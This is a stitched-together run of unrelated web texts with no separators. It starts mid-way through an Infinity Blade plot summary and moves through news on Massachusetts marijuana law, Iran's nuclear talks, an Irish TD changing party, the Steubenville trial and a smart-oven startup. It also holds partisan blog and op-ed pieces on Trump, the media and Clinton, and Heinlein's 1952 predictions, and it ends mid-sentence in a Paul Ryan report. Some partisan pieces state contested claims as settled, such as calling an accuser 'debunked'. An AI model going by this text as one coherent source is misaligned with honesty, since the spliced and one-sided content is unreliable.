She realizes too late what sword he is using, and she pays for it with her life. Satisfied, Siris turns to leave but finds The God King and his Knight standing behind him. The God King calls Siris “Ausar" and uses magic to take back the Infinity Blade. Siris wants to fight The God King again, but The God King does not oblige. As The God King is about impale Siris on the Infinity Blade, Isa appears on a nearby rooftop and shoots Siris in the head with a poison dart, killing him.
Siris awakens later in a rebirth chamber and starts to realize the awful truth: he is a Deathless. Armed with that knowledge, he makes his way to The Vault of Tears.
Book Note: In the first book, Siris awakens in the rebirth chamber with both Isa and the mysterious robot waiting for him. The robot, TEL, reveals to him that he is Ausar, and that he is a Deathless. Isa explains that she killed him so that The Infinity Blade could not, preventing his permanent death. When asked about the events of the first game, TEL explains that The God King wished to power up the blade and was using Siris to do it. Each time Siris would die, TEL would take his body back into the town, into the rebirth chamber, and would rebirth him. He would also alter Siris’ memories so that he thought he was the son of the previous warrior, and needed to avenge his father’s death. The town was in on the ruse, but said nothing because they feared that upsetting the ritual would upset The God King. When asked about the Deathless in the dungeon that claimed to be a member of Siris’ bloodline, TEL explains that there was a rebirth where he didn’t properly reprogram Siris’ memories. Siris went on to fall in love with a woman in town, got married, and had a kid. The child would later pledge his allegiance to The God King. We don’t know how much of this is canon and how much is creative liberty, but it is obvious that Siris knows who TEL is as he would appear in the second game after the 1.3 patch. He also would be the end of a story path that reinforces more of what is mentioned here, but because this exchange didn’t actually happen in the game, we have relegated it to a footnote.
Siris arrives at The Vault of Tears and starts to go to work to free The Worker of Secrets. Unaware of how the The Vault is locked, Siris heads to the top of the tower, and to the main lock in the hopes of unlocking it. At the top of the tower he meets his first Deathless, Thane.
Thane refers to himself as the “First Blood of the Deathless, High Lord of House Ix, and Shield of The Great Pact." He doesn’t recognize Siris at first. They battle, and when Siris goes to unlock the Blood Sentinel’s locks, Thane tells him that the process will kill him. Siris responds by telling him that he is immortal, and then it clicks for Thane. He asks “Ausar?" before Siris plunges his hand into the lock, killing himself in the process.
When Siris awakens in the rebirth chamber he realizes that he must unlock all the Blood Sentinel locks before trying to unlock the Vault itself. Subsequent travels through The Vault of Tears result in each of the three Blood Sentinel locks being opened. Siris first has to defeat the lock’s guard (some of whom recognize him) and then he has to die to unlock it.
Depending on the path the player takes, Siris can open up an area by collecting a set of Vile Armor. If Siris wears the Vile Armor in a specific room, an option for a new path appears. TEL will appear and plead with Siris to not follow that path, but if Siris does, he will find a statue of him and a woman locked in embrace. While it is a good memory at first, the situation turns sour when Siris remembers that the woman he loved saw the monster he was turning into and something happened. It isn’t explained fully, but TEL tells Siris that he had instructed the robot to keep his future self out of this room as it would bring about too much sorrow. Siris agrees.
Once Siris has unlocked all the Blood Sentinel locks, he travels back to the top of to tower where Thane is waiting for him. Siris and Thane fight again, and Siris wins again. Having no other locks holding The Vault closed, Siris’s blood now unlocks The Vault, rather than being killed by it.
When Siris approaches The Worker of Secrets, Thane appears again and tries to kill Siris. The Worker, manipulating something on his wrist, is able to disrupt Thane’s QIP (remember, think “futuristic soul"), and grants him permanent death on the floor of the vault.
The Worker refers to Siris as “Ausar" and calls him his friend. He thanks Ausar for rescuing him and marvels at how Ausar doesn’t remember anything. He tells Ausar that in order for him to escape, another Deathless must take his place. What better Deathless than the one who betrayed them both: Raidriar. Siris heads back to Saydhi’s palace to confront and capture The God King.
The next sequence is fun to play. A gauntlet of warriors before a final face off with The God King, but not a great deal |
, rather than the criminal penalties that have spurred investigations and undercover stings in the past.
“Possession of marijuana is still illegal in Massachusetts. It’s just that simple,” said Police Chief Matthew Clancy of Plympton. “There is this euphoric atmosphere in some circles that this is a pass of some sort but it’s still unlawful to possess it.”
Clancy said people seem to believe that because Question 2 was passed, that it has given them the right to walk the streets smoking marijuana freely and without penalty.
“Everybody seems to think that small amounts of marijuana is legal and it’s OK to spark up, but that’s what’s troubling, it’s sending the absolute wrong message to these kids, it really is troubling,” he said.
In Pembroke, Police Chief Michael Ohrenberger has similar concerns, but says the vote will not take effect for a few months, and in the mean time, officers are continuing to handle situations involving marijuana as they always have- with enforcement.
Ohrenberger said the Massachusetts Attorney General’s Office constructs the law and they need to set in place how marijuana related fines will be processed. Currently, it’s a criminal offense, and when the law goes into effect, sometime in December, it’s going to be a civil process.
“That won’t go into effect until sometime in December and the process is not really in place at this point,” said Ohrenberger. “But I think it’s going to cause more abuse, yes, I do. But I also think we have to wait and see how that’s going to get processed out to us. As far as how are we going to enforce the law, that’s what we do.”
According to Ohrenberger, the Attorney General is in the process of devising instructions for officers and it will be issued to police as a policy, but for now they must continue to make arrests as the law states and wait until the guidelines and procedures to follow get released.
“They are in a hurry-up mode making sure that this all gets in place and the law goes into effect 30 days after the Governor’s Council certifies the election,” said Ohrenberger.
Halifax Police Chief Michael Manoogian is also sitting tight, waiting to hear from the Attorney General and the Office of the Secretary of Public Safety.
“It has to be acted upon accordingly. My crystal ball just doesn’t know what to expect, it’s cloudy as to whether people are going to try and flaunt it or not,” he said. “What’s really going to happen with this depends on the public. If they flaunt it it’s still against the law, and the officers are going to act. If people continue to violate the law, then things will probably remain the same.”
Manoogian said he had heard stories of people thinking they could take marijuana out in public and wave it at the cops. “It just means you may not get arrested, or something on your record, but we still take some form of action.,” he said in response to the stories.
All of the chiefs agreed over the years they have seen a fair share of law enforcement changes, but the passing of Question 2 was one of the more notable ones in their careers.
“The voters have spoken, but we don’t make the laws we just have to enforce them,” said Clancy. “In the long run, though, this is really not in the best interest of our kids.”Iran rejects Europe's nuclear deal Iran has a processing plant in the city of Isfahan. RELATED YOUR E-MAIL ALERTS Iran International Atomic Energy Agency (IAEA) or or Create Your Own TEHRAN, Iran (CNN) -- Iran on Saturday said it would reject a package of proposals from European negotiators which offered long-term support for Iran's civil nuclear program as long as the country does not develop nuclear weapons. Iranian Foreign Ministry spokesman Hamid-Reza Asefi told the state news agency IRNA the proposal "is not acceptable." Speaking on the sidelines of an inauguration ceremony for new President Mahmoud Ahmedinejan, Asefi said the proposal lacks the points that would guarantee Iran's interests and contradict the spirit of the Nuclear Non-Proliferation Treaty as well as the Paris Accord, both of which were signed by Iran. Iran will give its official answer to the Europeans within a day or two, Asefi told IRNA. The Europeans, he said, have told Iran the proposal represents the minimum of what they can offer, and questioned why negotiators were "wasting time" instead of offering the maximum. Iran had already declared that any European proposal should include the country's right to enrich uranium, but the proposal did not include that issue, Asefi told IRNA. After Ahmadinejan was sworn in, he said in a speech the country would not be intimidated. "We do not humble ourselves in the poisoned atmosphere created by foreign sources," he said. The U.S. State Department had called on Iran to accept the offer. According to a summary of the proposals, released by the British Embassy in Tehran, cooperation between the EU-3 -- Britain, France and Germany -- and Iran would be enhanced in the nuclear field, allowing Iran access to the international nuclear technologies market. The EU-3 would also "fully support long-term co-operation in the civil nuclear field between Iran and Russia." In February, Russia signed a deal with Iran to transfer nuclear fuel to Iran's $800 million power plant reactor in the southern city of Bushehr and move the spent fuel back to Russia. The United States has called on Russia not to go ahead with providing nuclear fuel for the plant, fearing Iran has a nuclear weapons program. Russia's President Vladimir Putin has said he is convinced Iran is not developing nuclear weapons. The Iranian Foreign Ministry's international political director, Pirouz Husseini, received the EU-3 proposal Friday morning, according to the ISNA report. Britain, France and Germany have been involved in negotiations with Iran over the future of its nuclear program. The EU-3 faced a Monday deadline for presenting a its proposal. In November, Iran agreed to suspend uranium enrichment while negotiations on a comprehensive proposal continued. But, since the EU-3 missed the Monday deadline, it said it is no longer bound by any agreement. Asefi told IRNA on Saturday, however, that Iran would like to continue negotiations with the EU-3. The United States has no diplomatic ties with Iran, which President Bush once branded part of an "axis of evil." U.S. Undersecretary of State for Political Affairs Nicholas Burns said Friday the EU-3 gave a copy of the 30-page offer to the Bush administration and briefed administration officials. "This proposal is a good one for the Iranians," Burns said. "We hope they consider it and urge that they do so." He repeated the administration's threat that if Tehran breaks its nuclear agreements to resume uranium conversion, the United States and European Union may refer the case to the U.N. Security Council. Asefi reiterated that Iran plans to resume uranium conversion activities at the Isfahan plant in central Iran after the U.N.'s nuclear watchdog agency, the IAEA, installs new monitoring equipment, which it has said would take a week. In uranium conversion, uranium is converted into UF-6 gas, which can be enriched to make fuel for generating electricity. The gas can also be used to create highly enriched uranium for nuclear weapons. Despite the fact that Isfahan is not a uranium-enrichment facility, the IAEA says it still falls under a political agreement, and an IAEA resolution, for Iran to suspend enrichment-related activities. Tuesday the IAEA will hold an emergency meeting on Iran's nuclear program at the request of the EU-3, according to an IAEA spokesman. Asked about the meeting and the EU-3's request for it, Asefi told IRNA Saturday the meeting did not have a legal justification and is psychological warfare against Iran. IAEA Director-General Mohammad ElBaradei will attend the meeting in Vienna. Journalist Shirzad Bozorgmehr and CNN's Elise Labott contributed to this report. Home Page Get up-to-the minute news from CNN CNN.com gives you the latest stories and video from the around the world, with in-depth coverage of U.S. news, politics, entertainment, health, crime, tech and more. Home Page Get up-to-the minute news from CNN CNN.com gives you the latest stories and video from the around the world, with in-depth coverage of U.S. news, politics, entertainment, health, crime, tech and more.Former Labour Party TD Colm Keaveney has said it is a great honour for him to have joined Fianna Fáil.
He said the party has learned from mistakes of the past.
Mr Keaveney was introduced to Fianna Fáil TDs and Senators at a meeting this afternoon.
Sources said Mr Keaveney's application to join the party was unanimously accepted.
Fianna Fáil leader Micheál Martin said he warmly welcomed Mr Keaveney to the party and said he would add value to it.
Mr Keaveney lost the Labour whip in 2012 when he voted against Budget cuts.
He retained his post as chair of the party, arguing he had a mandate from the membership, but stood down earlier this year.
He has represented Galway East since the last general election but following boundary revisions, his seat is regarded as one of the most at risk.
The Galway East constituency is currently represented for Fianna Fáil by former junior minister Michael Kitt.
Mr Kitt said he was very surprised when he heard that Mr Keaveney was joining the party.
He added that there were mixed feelings around the constituency about the move. He said some members were disappointed but others felt Fianna Fáil had to broaden its support base to ensure renewal.
Mr Kitt said the decision would not affect his plans regarding the next general election and that everyone would have to "fight their own corner".
Fianna Fáil TD Niall Collins said anyone was entitled to join the party and he felt positive about Mr Keavney's decision.
Speaking on RTÉ's News at One, he said: "We are renewing ourselves right throughout the organisation, up and down the country, and also on a policy level.
"And at the centre of all our polices we have been articulating is the principle of equity and fairness, and I think they are core principles that Colm Keaveney espouses and identifies with.
Earlier, Mr Keaveney alluded to his application on Twitter in Latin by writing: "Forsitan et nostrum nomen miscebitur istis - Audentis Fortuna iuvat!"
The second half of the tweet translates to "Fortune favours the brave".
Minister for Education Ruairi Quinn said the move was a personal decision but said he was sad that Mr Keaveney had left the Labour Party, and sad that he had now decided to take this route.
Mr Quinn said there had been "a way back" for Mr Keaveney, but said he chose not to take it.
Fianna Fáil Councillor for Tuam, Michael Connolly said he was "amazed" that the former Labour TD now subscribed to his party's ethos, philosophy and ideology.
It is understood Mr Keaveney approached Mr Martin in recent weeks.
There had been speculation he might contest next year's European elections as an independent.Debunked Trump Accuser Subpoenas Campaign for Documents on ANY Other Allegations
Debunked Trump Accuser Summer Zervos Wants Back in the News–
Last year after Donald Trump won the Republican primary several women came forward and accused Trump of sexual abuse.
One accuser Summer Zervos, who was a contestant on ‘The Apprentice,’ claimed in October 2016 that Trump sexually harassed her.
But, as it turns out, it was Zervos who continued to stay in contact with Trump.
Via the Donald Trump Facebook page:
And then her cousin spoke out and totally debunked her credibility.
John Barry, cousin of Summer Zervos, refuted her Friday accusations with Gloria Allred. John told Judge Jeanine that she was unhappy that Trump would not visit her restaurant. John added that his cousin likes to sue people.
But Zervos still wants her payday.
The Trump accuser has subpoenaed the Trump campaign for ANY information on ANY woman who has alleged Donald Trump touched her inappropriately.
The Hill reported:
A woman who has accused President Trump of groping her in 2007 is subpoenaing his campaign for any documents on “any woman alleging that Donald J. Trump touched her inappropriately,” BuzzFeed News reported Sunday. The woman, Summer Zervos, is a former contestant on Trump’s reality show, “The Apprentice.” Her subpoena requests “all documents concerning any accusations that were made during Donald J. Trump’s election campaign for president, that he subjected any woman to unwanted sexual touching and/or sexually inappropriate behavior.” The subpoena was filed in March but not available on the court record until last month, BuzzFeed reported.Establishment journalists claim that the Trump era has produced a “golden age” of journalism, but media coverage in 2017 was plagued with errors and “bombshells” that turned out to be anything but.
CNN Twists Innocent Don Jr. Email Into A Scandal
CNN botched a major story in December when they alleged that Donald Trump Jr. was colluding with Wikileaks over stolen documents. CNN reported that a man named Mike Erickson emailed Trump Jr. on Sept. 4, 2016 with a link to Wikileaks documents and the decryption key needed to access them. The network hyped the story as a major development in the Russia investigation.
However, a copy of the email given to The Daily Caller showed that it was actually sent on Sept. 14, 2016, after the stolen documents had already been leaked to the general public. Furthermore, Erickson has no apparent ties to Wikileaks or Russia. The Washington Post identified him as the president of an aviation management company.
To this day, CNN has yet to explain how two different anonymous sources fed the network the wrong date.
WATCH:
New York Times’ ‘Almost Entirely Wrong’ Russia Report
The New York Times had to “look into” its own fake news when former FBI director James Comey questioned its reporting. The NYT claimed that U.S. intelligence officials intercepted communications between the Trump campaign and senior Russian intelligence officials in the year leading up to the election. Comey called the reporting “almost entirely wrong” and warned media outlets about relying on sources who don’t have a full understanding of “what’s going on.”
WATCH:
CNN’s Pathetic Putin Prediction
In the week leading up to the G20 summit in Hamburg, Germany in July, CNN anchors reported that President Trump would not be confronting Russian President Vladimir Putin about his country’s meddling in American elections. The CNN report — which relied on a single, anonymous source — turned out to be dead wrong.
WATCH:
ABC’s Flynn Misreporting Causes Drop In Stock Market
An ABC News reporting error resulted in a stock market panic and the suspension of reporter Brian Ross earlier this month. Ross reported that former national security adviser Mike Flynn was prepared to testify that candidate Trump ordered him to make contact with the Russians.
Hours later, ABC clarified that Flynn wasn’t asked to contact Russia until after the election, during the Trump team’s transition period. The story quickly fizzled from Trump-Russia collusion to standard preparation for an incoming presidential administration.
WATCH:
The Mooch Gets An Apology From CNN
Three CNN employees resigned over a poorly-sourced story on the Trump transition team in June. Relying on a single, unnamed congressional source, CNN claimed that Trump adviser Anthony Scaramucci was under investigation over a meeting with a Russian banker that took place shortly before Trump’s inauguration. CNN retracted the story and apologized to Scaramucci after multiple parts of the report were proven to be inaccurate. (RELATED: 7 Times CNN Botched The News In 2017)
Bloomberg Botches Its Deutsche Bank Scoop
Bloomberg News was forced to correct a bombshell report in December that claimed Special Counsel Robert Mueller had subpoenaed Deutsche Bank records related to President Trump and his family. The story claimed that Mueller had “zeroed in” on Trump. Bloomberg later corrected the report, noting that the bank records “pertain to people affiliated” with Trump, not the president himself.
CNN Quietly Walks Back Sessions ‘Scandal’
CNN broke another flawed bombshell in May. Attorney General Jeff Sessions, while applying for his security clearance, had failed to disclose two meetings with then-Russian Ambassador to the United States Sergey Kislyak. CNN described the story as “the latest example of Sessions failing to disclose contacts he had with Russian officials.”
CNN quietly walked back the scoop seven months later, noting that the FBI specifically told Sessions he wasn’t required to disclose the meetings. In other words: CNN’s report excoriated Sessions for simply following protocol.
WATCH:
Republicans Did (NOT) Fund The Dossier
Journalists at multiple outlets, specifically CNN, consistently pushed the false claim that Republican donors had originally funded the infamous Trump-Russia dossier. Republican donor Paul Singer funded the firm behind the dossier, Fusion GPS, to conduct opposition research on candidates including Trump during the GOP primary. However, Singer had no involvement in the dossier, which has played a central role in the Trump-Russia narrative.
WATCH:
Comey Testimony Undermines CNN Reporting
As former FBI Director James Comey geared up for a congressional testimony in June, CNN found the perfect opportunity to make some bold — but incorrect — predictions. CNN reported that Comey would testify that he did not tell Trump he was the subject of an investigation, as it would be improper for him to do so. CNN was proven drastically wrong when Comey released his prepared testimony, complete with the confirmation that he assured the president that he was not under FBI investigation.
Media Outlets Push ’17 Intel Agencies’ Lie
A number of media outlets, including The New York Times, CNN, ABC News, and the Associated Press spent the year perpetuating a false claim Hillary Clinton made during the 2016 presidential debates. Each outlet incorrectly reported that “all 17 intelligence agencies” agreed that Russia meddled in the election.
The truth is only four intelligence agencies evaluated and made judgments about Russian interference because the rest, like the Department of Energy and the Drug Enforcement Agency, have little authority on the matter.
WATCH:
NBC’s Nothingburger About Manafort’s Notes
NBC News published what the network hyped as a “potential bombshell” in September. Former Trump campaign manager Paul Manafort’s notes from the June 2016 Trump Tower meeting with a Russian lawyer contained the word “donations” near a reference to the Republican National Committee, the network reported.
NBC began walking back the anonymously sourced story almost immediately, before a report in Politico debunked the “bombshell” altogether. Despite what NBC’s sources told the network, the word “donations” did not appear in Manafort’s notes, which weren’t considered to be damaging to the Trump team at all.
NYT Fear Mongers Over Publicly Available Climate Report
In August, The New York Times “obtained” and published a draft of the National Climate Assessment (NCA), quoting anonymous scientists who feared “the Trump administration could change or suppress the report.” There’s just one problem: despite the paper’s fear mongering, the draft report had already been publicly available for months.
Reports on ‘Fake News’ Are Actually Fake News
Reports about “fake news” on Twitter turned out to be fake news themselves. CNN reported that “fake news” was higher in swing states, citing a study from the Oxford Internet Institute. However, the researchers in the study never talked about “fake news,” but rather “junk news” that apparently comes from mainstream conservative outlets like the Washington Examiner.
Follow Amber Athey and Peter Hasson on TwitterThe trial of two high school football players charged with raping a young woman during a night of partying has begun, and it's causing a rift in a town where football is a great source of pride. NBC's Ron Allen reports.
The two Ohio high school football stars accused of raping a drunken 16-year-old girl humiliated “somebody who was too impaired to say no, somebody who was too impaired to say stop,” a prosecutor said Wednesday.
In her opening statement at a trial that has divided the football-obsessed town of Steubenville, prosecutor Marianne Hemmeter also said that the girl was “soft-spoken, mumbling and not participating” in the assault.
Two players, quarterback Trent Mays and wide receiver Ma’Lik Richmond, are accused of using their hands to violate the girl in a car and in a basement during a night of victory parties last August.
The case became national news because graphic cellphone photos and video, including a YouTube posting of a partygoer cracking crude jokes about the alleged rape, spread on social media.
In a brief opening statement, Brian Duncan, the lawyer representing Mays, said simply: “Trent Mays did not rape the young lady in question.” The lawyer for Richmond declined to make an opening statement.
Jason Cohn / Reuters file Harding Stadium, home of the Steubenville High Big Red football team. Two members are going on trial Wednesday for allegedly raping a 16-year-old girl in a case that drew national attention.
The girl, who told police she didn’t remember the incident, will be among dozens of witnesses taking the stand. Three players who have not been charged but allegedly witnessed the encounters are expected to testify for the prosecution.
The prosecution’s evidence also includes a photograph posted on Instagram of Mays, 17, and Richmond, 16, carrying the teen out of a house by her arms and legs.
The prosecution called six witnesses on Wednesday, including two 17-year-old girls who knew the alleged victim.
Questioned by prosecution and defense attorneys about how much the teen girl had to drink, the first witnesses testified they saw the alleged victim on the night of Aug. 11.
One of the girls, a Steubenville High student, said alleged victim was having difficulty walking but never appeared to pass out. She also testified that after midnight, Mays and the victim, who said she was OK, left a house party. That came despite efforts by the witness to stop her.
Prosecutors appeared to try to show how drunk and nonparticipatory the alleged victim was, while the defense attempted to show that she was making decisions that night and at one point told friends she was fine and able to take care of herself.
The other 17-year-old witness said she had never seen her friend so intoxicated.
The final witnesses of the day were the Steubenville police detectives involved in confiscating phones and other devices from people involved in the case and getting them to the state lab for analysis. The defense on cross examination was able to get police to concede it took 16 days before the accusers shirt and pants were taken to the lab for analysis.
The trial has put the town, where “Big Red football” dominates life, under a harsh spotlight. Town officials and business leaders have taken to the media to say that the case doesn’t reflect Steubenville.
In a sign of the tension surrounding the case, Richmond’s grandmother has said she has been threatened.
If convicted, Mays and Richmond could be held in a juvenile jail until they are 21.
NBC News correspondent Ron Allen, The Associated Press and Reuters contributed to this report.June, a countertop “smart” oven designed by former Google, Apple and GoPro employees has closed a Series A round of financing for $22.5 million today, led by early stage combination hardware and software investor Eclipse.
Previous investors also participated in this round, including Foundry Group, First Round Capital, and Lerer Hippeau Ventures.
June is sort of like an easy-bake oven for grown-ups, albeit with a much more adult-sized $1500 price tag. The cost of the device may be justifiable for those who don’t like to cook, however. The oven will basically make your meal for you at the perfect temperature without you doing anything more than pressing “OK”.
June includes a built-in camera and processor to identify the foods you put inside to cook them at the recommended settings and connects to a live streaming app so you can check in on the process.
The startup planned to start sending out its first batch of products this spring. However, a bump in manufacturing and some upgrades has delayed shipping and the new release date is now slated for closer to the Holiday season, according to a company statement:
First, we’ve redesigned the heating architecture, allowing the oven to provide more even heat distribution, better broiling and significantly improving its baking performance. Second, we’ve decided to work with new manufacturing partners for plastics and cosmetic sheet metal; finding the right manufacturing partners is critical to ensure great product quality. We have now finalized and locked in our supply chain partners, with whom we plan to work all the way through shipping. We had to make a hard choice between a summer shipment and the best shipment, and we chose to ship the best possible oven. We hope you’ll agree that it was the right call.
This obviously didn’t scare off investors and June says the new funding will allow it to continue hiring and building the team as well as work towards delivering the first batch on the new intended timeframe.
June says it will also refund pre-orders for those upset with the delay by emailing support.
In the meantime, June will continue beta testing the product and says it has about 100 ovens to send out into the wild for that purpose. Those interested in signing up as beta testers can let June know by filling out this form.Trump Camp Set Another TRAP For The Media And They’re Biting HARD
So I’m watching my news Twitter on Thursday night, and I swear that I can see the Trump administration set yet another trap for the media, and it’s pretty obvious to anyone who has more than two wits to rub together into a spark of knowledge. So, NOT the media.
Here’s what is happening.
Kellyanne Conway was debating Chris Matthews, (which, as an aside, was very courageous on her part, I have to admit) when she tossed out a lie while defending Trump’s non-Muslim Muslim non-ban ban.
.@KellyannePolls says that 2 Iraqi refugees “were the masterminds behind the Bowling Green massacre.”
(There was no such massacre.) pic.twitter.com/sD3Nnb5xfE — Joe Sonka (@joesonka) February 3, 2017
Here’s what she said:
“I bet it’s brand new information to people that President Obama had a six month ban on the Iraqi refugee program after two Iraqis came here to this country, they were radicalized, and they were the masterminds behind the Bowling Green Massacre.”
Now, it took a few hours for liberals to notice, but once they figured out that she talked about the “Bowling Green Massacre,” they FLIPPED OUT!!! Because apparently, there is no such thing. There WAS an attack planned by two Iraqis who came here as refugees:
Waad Ramadan Alwan and Mohanad Shareef Hammadi, two Iraqi nationals, were arrested in Bowling Green, Ky., after a two-year FBI investigation. They were indicted for allegedly providing assistance to Al Qaeda in Iraq and attempting to send weapons overseas. The men were living in the United States and had been granted refugee status, despite their insurgency activities in Iraq and their role in attacking U.S. troops.
Oh wow, that’s kind of a big deal, right? And it helps prove Trump’s point except the media won’t cover it for that very reason. But the media will go insane over the lie she told.
Guess what, media? NOBODY GIVES A DAMN about the tiny little lie Kellyanne Conway told EXCEPT YOU. And some assorted mind-numbed liberals. What they care about is the hypocrisy of liberals whining about Trump’s ban and ignoring Obama’s ban – and YOU are going to help them propagate that narrative by soiling in your panties over the fictitious “bowling green massacre.”
GUYS. GUYS. It’s like watching a developmentally challenged rabbit hobble over to a carrot placed under a loaded howitzer. How is this not the most obvious trap ever since… well, since the last one Trump set?
Which I also predicted.
Check out the video, and look for the pattern:
Watch Me Predict EXACTLY How Kellyanne Conway Spun @SeanSpicer‘s Lie The Next Day… https://t.co/E0MytKTrko pic.twitter.com/YY26Zr5wvP — ¡El Sooopèrr! ن (@SooperMexican) January 24, 2017
You can read more about that sooper-brilliance here.
Yes, they lied. They tossed a little dumb lie that is obviously, provably false. But it’s embedded into a statement, an argument for Trump’s policy, and when the media tries to call them on it, the Trump people are going to say, in all caps, “WHY ARE YOU WHITE-WASHING ISLAMIST TERROR?!?!?” and completely ignore the dumb lie. And their witless sycophants will applaud idiotically and scream that the media is biased. And they’ll win. Again.
I can practically hear them coaching their media people right now in preparation for tomorrow’s firestorm.
And the leftist media morons are already lining themselves up like bowling pins to get knocked over by Trump’s balls.
Here’s the main idiot at ThinkProgress, the think tank of idiots:
Kellyanne Conway lambastes the media for ignoring the "Bowling Green Massacre," which doesn't exist (via @joesonka) pic.twitter.com/8AUxX5ZymO — Judd Legum (@JuddLegum) February 3, 2017
Look at the big brains on Brad!! He’s a senior editor at NBC News, and he KNOWS that this will finally do Trump in!!
Look at this moron – it’s *eeeeevil*!!!! LOL!
This is just evil. Trump spokesliar @KellyannePolls invents Bowling Green Massacre. https://t.co/2wusQUyFnp — The Daily Edge (@TheDailyEdge) February 3, 2017
Seriously, get out more.
Conway referenced the “Bowling Green massacre” as a means of justifying Trump's ban. The problem? It never happened. https://t.co/VR4wGG69ri pic.twitter.com/KpadpBWJsM — The Daily Beast (@thedailybeast) February 3, 2017
https://twitter.com/SethFromThe716/status/827363162114682880
Dear @KellyannePolls, What is the "Bowling Green Massacre?" None of us have ever heard of it. Sincerely,
America — Michael Skolnik (@MichaelSkolnik) February 3, 2017
Kellyanne Conway defends Trump's travel ban by referencing 'Bowling Green massacre' — which never happened https://t.co/8ka4bUGFBR pic.twitter.com/isy6oEkHbQ — New York Daily News (@NYDailyNews) February 3, 2017
The same guy who caught this, Joe Sanka, caught Rand Paul saying the same thing later. Not sure if he’s in on the scam or not, but it’ll help screw the media even more.
Rand Paul: "…the attempted bombing in Bowling Green, where I live."
(Prosecutor said there was no attempt or even plot to bomb in America) pic.twitter.com/O0BMEgk4XF — Joe Sonka (@joesonka) February 3, 2017
This guy writes at the Daily Beast, there’s the dumbass Roland Martin who helped crush Hillary by giving her the questions to that CNN debate, and comedian Patton Oswalt.
I imagine Trump is watching all these pendejos unwittingly do his bidding, and he’s salivating at the thought of springing the trap tomorrow.
Grab yer popcorn.After a week in which the Clinton campaign has sunk yet further into the gutter with its aggressive manipulation of Geraldine Ferraro's mad comments, the time feels about right to send a clear message to our superdelegates, specifically those whom we elect to public office. To start with, they need to understand that a growing number of us will not vote for Hillary Clinton in the fall. It is not only that we disagree with her on issues: some of us, perhaps, could get over her cynical support of the Iraq war in the name of party unity. What has put us over the edge is her scorched earth, morally corrupt campaign of race, religion and gender-baiting: power built on this premise is by definition depraved, and we want no part of it.
Probably more importantly for the superdelegates, they are not immune to our judgment, as a majority of them are elected officials. For progressive Democrats, in particular, it is increasingly unseemly for them to stand by as the Clinton campaign resorts to techniques that would have made Jesse Helms blush 20 years ago. It is no longer good enough for them to be undecided, or, far worse, to support Clinton's bid. Superdelegates are free to use their independent judgment, they like to say, and we are free to take that decision into account at the next opportunity, whether in a general election or, more likely, in a congressional or gubernatorial primary.
Florida is once again an electoral mess, and in no small part, this is due to the lack of leadership by its Congressional delegation, who had more than ample opportunity to make sure that its state abide by the DNC primary rules (as did Clinton, who has now changed her mind in a characteristically twisted last ditch effort). As it happens, a majority of Florida's Democratic members of Congress support Clinton, including all three African-American Representatives, Kendrick Meek, Corrine Brown and Alcee Hastings (they are not a particularly appealing group to begin with, and are not doing themselves any favors with this particular position), as well as Rep Debbie Wasserman Schultz, a rising star who will only rise so far after severely alienating more than half the Democratic party.
Particular scorn is reserved for Rep. Stephanie Tubbs Jones, a perfect surrogate for Clinton in Ohio, who declared that she had "no problem" with Obama wearing "the native clothing [...] of his country." It is hard to tell if this came from a place of utter ignorance (Tubbs Jones is hardly the brightest bulb in Congress) or of cynicism, always the most likely explanation when dealing with the Clintons and their posse.
Then there are those who are seeking a promotion to the Senate: Reps Mark Udall of Colorado, Tom Allen of Maine and Tom Udall of New Mexico. Bet-hedging is over for them, and if they are interested in our votes and contributions, they know what to do.
And where are Nancy Pelosi, Al Gore, Jimmy Carter, Bill Richardson, Jim Clyburn, Joe Biden? For that matter, where is John Edwards, not a superdelegate, but certainly a great influencer? It is no longer good enough for these leaders to send coded messages about their support for Obama: we need a full-throated endorsement and an equally loud denunciation of the vileness that is occurring.
None of these elected officials can go for long without being irremediably tainted by the growing stain that is the Clinton campaign. None of them is sheltered from our electoral judgment, whether it be this November or later. And it is time they knew it.In the February 1952 issue of Galaxy magazine, Robert Heinlein offered his verdict on the conclusion of the twentieth century. He would later revisit these predictions in the 1966 short story collection The Worlds of Robert A. Heinlein and discuss the challenges of predicting the future. Here's what the author gathered, six decades ago:
So let's have a few free-swinging predictions about the future. Some will be wrong - but cautious predictions are sure to be wrong.
1. Interplanetary travel is waiting at your front door — C.O.D. It's yours when you pay for it.
2. Contraception and control of disease is revising relations between the sexes to an extent that will change our entire social and economic structure.
3. The most important military fact of this century is that there is no way to repel an attack from outer space.
4. It is utterly impossible that the United States will start a "preventive war." We will fight when attacked, either directly or in a territory we have guaranteed to defend.
5. In fifteen years the housing shortage will be solved by a "breakthrough" into new technologies which will make every house now standing as obsolete as privies.
6. We'll all be getting a little hungry by and by.
7. The cult of the phony in art will disappear. So-called "modern art" will be discussed only by psychiatrists.
8. Freud will be classed as a pre-scientific, intuitive pioneer and psychoanalysis will be replaced by a growing, changing "operational psychology" based on measurement and prediction.
9. Cancer, the common cold, and tooth decay will all be conquered; the revolutionary new problem in medical research will be to accomplish "regeneration," i.e., to enable a man to grow a new leg, rather than fit him with an artificial limb.
10. By the end of this century mankind will have explored this solar system, and the first ship intended to reach the nearest star will be a-building.
11. Your personal telephone will be small enough to carry in your handbag. Your house telephone will record messages, answer simple inquiries, and transmit vision.
12. Intelligent life will be found on Mars.
13. A thousand miles an hour at a cent a mile will be commonplace; short hauls will be made in evacuated subways at extreme speed.
14. A major objective of applied physics will be to control gravity.
15. We will not achieve a "World State" in the predictable future. Nevertheless, Communism will vanish from this planet.
16. Increasing mobility will disenfranchise a majority of the population. About 1990 a constitutional amendment will do away with state lines while retaining the semblance.
17. All aircraft will be controlled by a giant radar net run on a continent-wide basis by a multiple electronic "brain."
18. Fish and yeast will become our principal sources of proteins. Beef will be a luxury; lamb and mutton will disappear.
19. Mankind will not destroy itself, nor will "Civilization" be destroyed.
Here are things we won't get soon, if ever:
— Travel through time
— Travel faster than the speed of light
— "Radio" transmission of matter.
— Manlike robots with manlike reactions
— Laboratory creation of life
— Real understanding of what "thought" is and how it is related to matter.
— Scientific proof of personal survival after death.
— Nor a permanent end to war.House Speaker Paul Ryan speaks inside the Armory in Janesville, Wis., following his defeat Paul Nehlen in Wisconsin’s primary on Tuesday, Aug. 9, 2016. (Anthony Wahl/The Janesville Gazette via AP)
JANESVILLE, Wis. — House Speaker Paul D. Ryan (R-Wis.) addressed reporters here late Tuesday evening, following his landslide victory over businessman Paul Nehlen in a congressional primary that drew national attention.
When asked about Donald Trump’s remark earlier Tuesday that gun owners could take steps to stop Hillary Clinton’s agenda should the Democrat win the presidency, Ryan quickly interjected.
